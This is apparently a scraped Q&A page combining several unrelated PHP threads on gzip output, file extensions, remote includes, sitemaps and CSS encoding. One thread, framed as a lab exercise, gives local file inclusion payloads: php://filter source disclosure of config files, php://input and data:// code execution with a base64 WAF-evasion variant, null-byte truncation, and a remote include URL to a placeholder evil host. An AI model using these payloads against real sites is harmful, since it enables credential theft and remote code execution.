My hosting provider does not use htaccess to enable gzip. Their support told me to change my HTML file to PHP and add the following at the top:
<?php ob_start("ob_gzhandler"); ?>
However, after using gzipWTF to find out if my site is making full use of gzip, there are a number of assets listed - save only 3 - that are not being gzipped.
If you would, go to gzipWTF, and enter my URL:
"http://justinjwilson.com".
Check 'details' as an option. Why is it that most of my JS and CSS files are not gzipped? An easy PHP solution would be best. Remember, I can't use htaccess to enable gzip.
You're out of luck with the one-liner. Adding that line to the top of the now-PHP HTML page is going to cause PHP to handle the gzip-ing of the page content. But only that page. It has no impact on the external files, because it doesn't process them in any way. (Separate files are separate GET requests from the browser; PHP knows nothing about them).
So you need a solution that will allow PHP to handle the gzip-ing of all of your content. A relatively simple solution would be to write a separate PHP page that would handle the delivery of all of your external files. Something like /resource.php?r=myscript.js. This php script would have the "ob_gzhandler" turned on at the top, and then would simply open the file, and echo it out.
Related
I'm trying to exploit some web vulnerabilities in a sample website running inside a VM (it is not available on the web - only for educational purposes). I have a php file named setupreset.php which has the information about MySQL configs, setup and passwords used to setup the website. This is in the same directory as the rest of the php files (index, products, forum, etc...).
This is the code of index.php, for reference:
<?php
include ("includes/header.php");
// Grab inputs
$page = $_GET[page];
if ($page=="") {
include("home.html");
} else { include ($page . '.php'); }
include ("includes/footer.php");
?>
The main goal is to list the contents of the setupreset PHP file, or download it somehow. If I navigate to this file: http://10.211.55.5/index.php?page=setupreset, it gets executed, but the PHP code is naturally not shown, due to the fact that it is parsed by the PHP interpreter.
Now, the website uses PHP includes, so URLs look like this: http://10.211.55.5/index.php?page=products. This seems like it's vulnerable to remote file inclusion, where I could simply point to another PHP page, e.g. http://10.211.55.5/index.php?page=http://badwebsite.com/myevilscript.php but allow_url_include is off and cannot be changed, so this won't work (I tried this). However, allow_url_fopen is likely on (since it's on by default), so my question is the following: is it possible to upload a PHP file or some script that lists the content of setupreset.php using this kind of exploit?
If allow_url_include is off, you can't execute remote code. But you can find other pages, for example a content management dashboard, to upload your code as "image", then find the actual path and include it.
And, there are still ways to exploit.
Let's look inside your code. You may notice that it automatically add an extension .php at the end of path. So you should remove php in GET param. But what if the file you want to include does not have PHP extension? Then use %00 to terminate string, such as
http://localhost/include.php?page=../uploads/your_uploaded_fake_image.jpg%00
There's a special protocol in PHP, powerful and dangerous. It's php://.
You can check out the offcial manual for detailed information, and here I'll show you some cases to make a file inclusion vulnerability become source disclosure and even remote code execution vulnerabilities.
Before your test, I suggest you use Firefox with HackBar plugin. It's a powerful penetration testing suite.
Source disclosure
This feature doesn't need url inclusion allowed.
php://filter is a kind of meta-wrapper designed to permit the application of filters to a stream at the time of opening. This is useful with all-in-one file functions such as readfile(), file(), and file_get_contents() where there is otherwise no opportunity to apply a filter to the stream prior the contents being read. (Reference)
Then you can see the source secret.inc.php in the same directory via following request.
http://localhost/include.php?page=php://filter/read=convert.base64-encode/resource=secret.inc
File content will be encoded in base64, so it does support binary file.
It's powerful to get sensitive information, such as database passwords or a encryption key! If privilege is not proper configurated, it can even jump out of cage and extract data from files in outter directories, like /etc/passwd!
Remote code execution
Actually you can't exploit this way, because allow_url_include is Off in this case.
But I must point it out because it's magical!
It's completly different from local include. It doesn't need to upload any file to a remote server or so. All you need is one single request.
php://input can access the raw HTTP request body, so what does include("php://input") do? Just visit http://localhost/include.php?page=php://input, with valid PHP code in request body, then you can execute any (allowed) function in remote server!
Don't forget the %00 to drop .php tail.
Besides, PHP supports data:// URL scheme. You can directly put code in GET param! The following test doesn't need any special tool, just a normal browser can execute an attack.
http://localhost/include.php?page=data:text/plaintext,<?php phpinfo();?>
Some Web Application Firewalls may detect suspected string in URL and block evil request, they won't leave the phpinfo alone. Is there a way to encrypt? Of course. data:// URL supports at least base64 encoding...
http://localhost/include.php?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==
And you will get familiar phpinfo once again!
Note
The null byte trick (%00) does not work anymore for PHP >= 5.3.4: http://blog.benjaminwalters.net/?p=22139
Use a directory traversal and end your input string with a %00 NUL meta character (as mentioned on wikipedia).
http://example.com/index.php?page=setuppreset%00
This will remove the ".php" suffix from the inclusion and might help you somehow.
It is not. The php file is getting executed because you call include, if you called readfile, file_get_contents or similar you could see the contents of the php file.
I've noticed that the .html and .php file extensions can be interchanged without apparent effect. Why would I want to use one file extension over the other?
A page ending in .php can include both HTML and/or PHP code (also javascript, css, etc inside their appropriate tags). Note that it is perfectly fine for a page without any PHP code to still have the .php extension.
However, if your page does include PHP code, the filename extension must be .php. Try it - on most web servers this won't work:
FILENAME: test.html
<?php
echo 'Hello there';
The above page will be blank. But if you rename it to test.php, you will see the hello message.
Filename extensions are also an indicator to yourself, or other programmers, as to what type of code the file contains. It is clear at a glance that a file ending in .HTML does not contain any PHP code (especially since any PHP code contained within won't work unless the webserver config is specifically modified to allow it).
One Final Note: these days it is pleasing to have web pages that do not end with an extension at all. Of course, you cannot leave off the extension of a .php or .html page... but you can hide the extension (including the period), making the page look like it was served by Flask or React or etc. You do this via a .htaccess file (yes, exactly like that, dot and all) that sits in the root folder of your website (same folder as the index.php or index.html). See:
https://code-boxx.com/hide-php-extension-url-htaccess/
https://tecadmin.net/remove-file-extension-from-url-using-htaccess/
Here is an interesting tool to help build .htaccess files
Use .html as a default.
If your page is running phpscripts then use .php
So, if you are communicating with server, use .php
.html and .php are file extensions but the more important question is how they are run.
A .php file can run server side script and take in mysql queries and open a connection etc...all of which are server-side functions.
Html is static and only displays static content but that has now changed with HTML 5.I suggest you do a simple search to learn more about php and html and their fundamental differences.
Files are handled depending on config and context. Shebangs, default programs, Apache Handler's, HTTP Headers, etc. describe handling files in various scenarios.
Executing Files In Terminal
The .php extension indicates that it is a PHP script, but the extension isn't necessary.
example-file.php
<?php
echo 'Hello World';
The script can be executed with PHP, which is clear because of the extension:
> php example-file.php
example2-file
#!/usr/bin/env php
<?php
echo 'Hello World';
With a shebang on the first line the OS can try to use the correct interpreter for the user so that the command is simplified to:
> ./example2-file
Some of the implementation details are hidden from the user by removing the file extension.
Packages often retain the extension on the source, but drop the extension during installation.
Default Programs
An extension can indicate to an OS which program to use to open a file.
Files ending in .php on my computer open in an IDE for editing whereas .html files open in a browser.
Servers and Headers
Web servers can send a file with any extension and content-type since many files don't actually exist, but are dynamically generated.
PHP web servers will serve .php files with the text/html content-type because the PHP is interpreted into text. Servers configured to return the raw PHP file as another content-type, i.e. servers not configured for PHP, will cause the web browser to download the source file rather than view the rendered file as HTML.
Since the resulting file after execution is HTML and web servers can dictate the extension, some developers decide to use .html in the URL and have them correlate to .php files to execute and return. Or the URL can not use an extension at all.
Using distinct extensions has the same purpose in PHP as it does in any language -- it makes it easier to determine the type of file you're using.
You may want to ease your web server's burden by having .html files not ran through the PHP processor, or you may want to have your PHP files not labeled .php to help hide what technology you're using server-side.
I need to include to my php script external php code which is situated for example by link http://site.com/code.php How could I do it? I tryed all ways which I found in internet but no one works. All methods are good to include text but not php script.
You can only include the code if it is served as text: otherwise everyone would be able to see / use your code.
So the options you have:
Get the file trough ftp and include it with include or require
Get the file in plaintext, by serving .php files on "site.com" as text. This is ofcourse not a good idea, as everyone could see your source from there.
Put the file on the same server as the script that wants to include it.
If you need just the file to be 'run', you can curl it. You won't get the source (cannot use its functions etc) but any actions it performs (make file? add something to the database) will be run.
It is not possible, unless you can get the source code to it (aka. its published somewhere or it is on a file system you can access).
According to the PHP documentation (http://php.net/manual/en/features.remote-files.php) "As long as allow_url_fopen is enabled in php.ini, you can use HTTP and FTP URLs with most of the functions that take a filename as a parameter. In addition, URLs can be used with the include(), include_once(), require() and require_once() statements (since PHP 5.2.0, allow_url_include must be enabled for these)."
Here's the problem I'm trying to solve: I have a dynamic php-driven website that is constantly being updated with new content, and I want my XML sitemap to stay up to date automatically. Two options I see:
Write a php script that queries my database to get all my content and outputs to http://mysite.com/sitemap.xml, execute the script regularly using a cron job.
Simply create my sitemap as a php file (sitemap.php), query the db and write directly to that file, and use the htaccess rewrite rule RewriteRule ^sitemap.xml$ sitemap.php so that whenever someone requests sitemap.xml they're directed to the php file and get a fresh sitemap file.
I'd much rather go with option #2 since it's simpler and doesn't require setting up a cron, but I'm wondering if Googlebot will not recognize sitemap.xml as valid if it's actually a php file?
Does anyone know if option #2 would work, and if not whether there's some better way to automatically create an up-to-date sitemap.xml file? I'm really surprised how much trouble I've had with this... Thanks!
Just make sure your script generates the appropriate Content-Type header. You can do so with header().
Google will only get the headers and the body of the response. If your php script returns the same headers and the same body as your webserver would return, then there is technically no difference between the PHP script response or the XML file response by your server. Use curl -i http://example.com/ to inspect the response headers of a request if you would like to test that on your own.
So you can safely do this, that's for what mod_rewrite has been designed (next to the many other things).
I'm using a CMS called 'Nukeviet' and I installed it on my localhost. I'm facing a very strange problem, I've tried to search for the solution but nothing found.
I can see that css files are not working at all. When I use Firebug to find the problem, I switch to the tab 'CSS' and... all the required css files are there but it says... there're no rules! When I use the Developer tools of Google Chrome, in Resources tab, Chrome can see all the css files, but the contents of them are abnormal, like in this image:
.
I checked the encoding but it's normally ANSI. And, of course, the contents in all the css files are normal ANSI, no international text.
I tried copying the css files to a new place and write a new HTML for testing, those CSS works perfectly as usual without any problem.
So I can't understand why there're "ugly" question marks like that. Something... encrypted it?
Javascript files get the exact same problem, but image files are ok, all the others are ok, just problem with CSS and Javascript.
I think your javascript and css files are compressed for example with gzip-compression ...
Please check the configuration of your webserver if the gzip-comression is enabled.
If you're using Apache this can also be done in the .htaccess-files instead of the server-configuration - but I think that's stuff you know - don't you?
For further information:
http://developer.yahoo.com/performance/rules.html#gzip
At this page you can also check if some header-informations are missing in the response you get from your server if you request the css-file.